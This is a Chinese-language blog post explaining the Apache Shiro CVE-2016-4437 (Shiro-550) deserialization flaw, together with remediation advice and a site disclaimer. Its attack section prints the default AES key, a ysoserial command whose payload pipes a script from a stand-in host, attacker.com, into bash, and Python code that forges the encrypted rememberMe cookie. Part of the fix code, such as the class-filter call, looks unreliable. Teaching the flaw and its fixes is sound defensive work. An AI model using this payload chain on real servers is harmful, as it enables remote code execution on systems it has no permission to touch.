CVE-2016-4437(Shiro-550)漏洞简述

2025-02-19 5 0

漏洞概述

CVE-2016-4437是Apache Shiro框架中的一个高危远程代码执行(RCE)漏洞。该漏洞源于Shiro的rememberMe身份验证功能使用硬编码的AES加密密钥,导致攻击者能够构造恶意序列化对象并加密后发送至服务器。当服务器解密并反序列化该对象时,可能触发任意代码执行。

漏洞原理

  • RememberMe功能机制:

Shiro的rememberMe功能通过Cookie(名为rememberMe)保持用户的持久登录状态。

Cookie值为用户信息的序列化数据,使用AES加密(CBC模式,PKCS5Padding)。

  • 默认密钥的暴露:

Shiro的默认AES密钥为kPH+bIxk5D2deZiIxcaaaA==(Base64编码),硬编码在框架中。

若开发者未在配置中修改此密钥,攻击者可直接利用该密钥加密恶意Payload。

  • 反序列化漏洞触发:

攻击者构造包含恶意Java对象的序列化数据,使用默认密钥加密后作为rememberMe Cookie发送。

Shiro服务端解密Cookie并反序列化数据,若环境中存在可利用的Gadget链(如Apache Commons Collections),则会执行任意代码。

影响范围

受影响版本:Apache Shiro ≤1.2.5

依赖条件:

使用默认rememberMe加密密钥。

目标应用的Classpath中存在可用的反序列化Gadget链(如commons-collections 3.1/4.0)。

攻击流程

  • 获取或推测密钥:

若目标未修改密钥,直接使用kPH+bIxk5D2deZiIxcaaaA==。

若密钥被修改,需通过其他方式(如信息泄露、爆破)获取。

  • 生成恶意Payload:

使用ysoserial生成Gadget链(如CommonsCollections2):

java -jar ysoserial.jar CommonsCollections2 "curl http://attacker.com/shell.sh | bash" > payload.bin
  • 加密Payload:

使用Shiro的AES加密模式对Payload加密,生成rememberMe Cookie值

from Crypto.Cipher import AES
import base64

key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
cipher = AES.new(key, AES.MODE_CBC, IV=b'\x00'*16)
encrypted = cipher.encrypt(payload_padded)
rememberMe = base64.b64encode(encrypted).decode()
  • 发送恶意请求:

将rememberMe Cookie附加到HTTP请求中:

python shiro_exploit.py -u http://target.com/login --check
  • DNS外带验证:

生成触发DNS查询的Payload(利用URLDNS链):

java -jar ysoserial.jar URLDNS http://dnslog.cn > payload.bin

观察DNS日志是否收到查询记录。

  • 修复方案升级Apache Shiro:

升级至≥1.2.6版本,官方移除了默认密钥强制要求。

  • 自定义强密钥:

在shiro.ini或配置类中设置随机生成的密钥:

securityManager.rememberMeManager.cipherKey = base64:NEW_RANDOM_BASE64_KEY
  • 禁用RememberMe功能(如无需使用):

在配置中关闭rememberMe:

@Bean
public SecurityManager securityManager() {
    DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
    manager.setRememberMeManager(null); // 禁用
    return manager;
}
  • 限制反序列化类:

使用ClassFilterResolver限制允许反序列化的类:

DefaultRememberMeManager rememberMeManager = new DefaultRememberMeManager();
rememberMeManager.setCipherKey(customKey);
rememberMeManager.getCookie().setClassFilter(clazz -> allowedClasses.contains(clazz.getName()));
  • 依赖库安全:

移除或升级存在Gadget链的库(如commons-collections升级至≥3.2.2或4.1)。

  • 防御验证

密钥检查:

确认配置文件中无硬编码默认密钥,且密钥长度符合AES要求(如256位)。

渗透测试:

使用已知Payload尝试攻击,验证防御是否生效。

日志监控:

监控异常反序列化操作日志:

org.apache.shiro.io.SerializationException: Unable to deserialize argument byte array.

总结

CVE-2016-4437暴露了默认加密密钥和反序列化机制的风险组合。修复的核心在于使用自定义密钥、升级依赖库和限制反序列化操作。开发者应遵循最小权限原则,避免信任未经验证的输入,并定期进行安全审计。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

从中国视角看 NSA(方程式组织)的 TTP(攻击套路)
利用 cve-2023-33476 进行远程代码执行
黑客通过漏洞组合攻击获得Palo Alto防火墙的root权限
Twitter最新接口浅析(非爬虫)
DeepSeek本地化部署有风险!快来看看你中招了吗?
java代码审计 | spring mvc路由详解

发布评论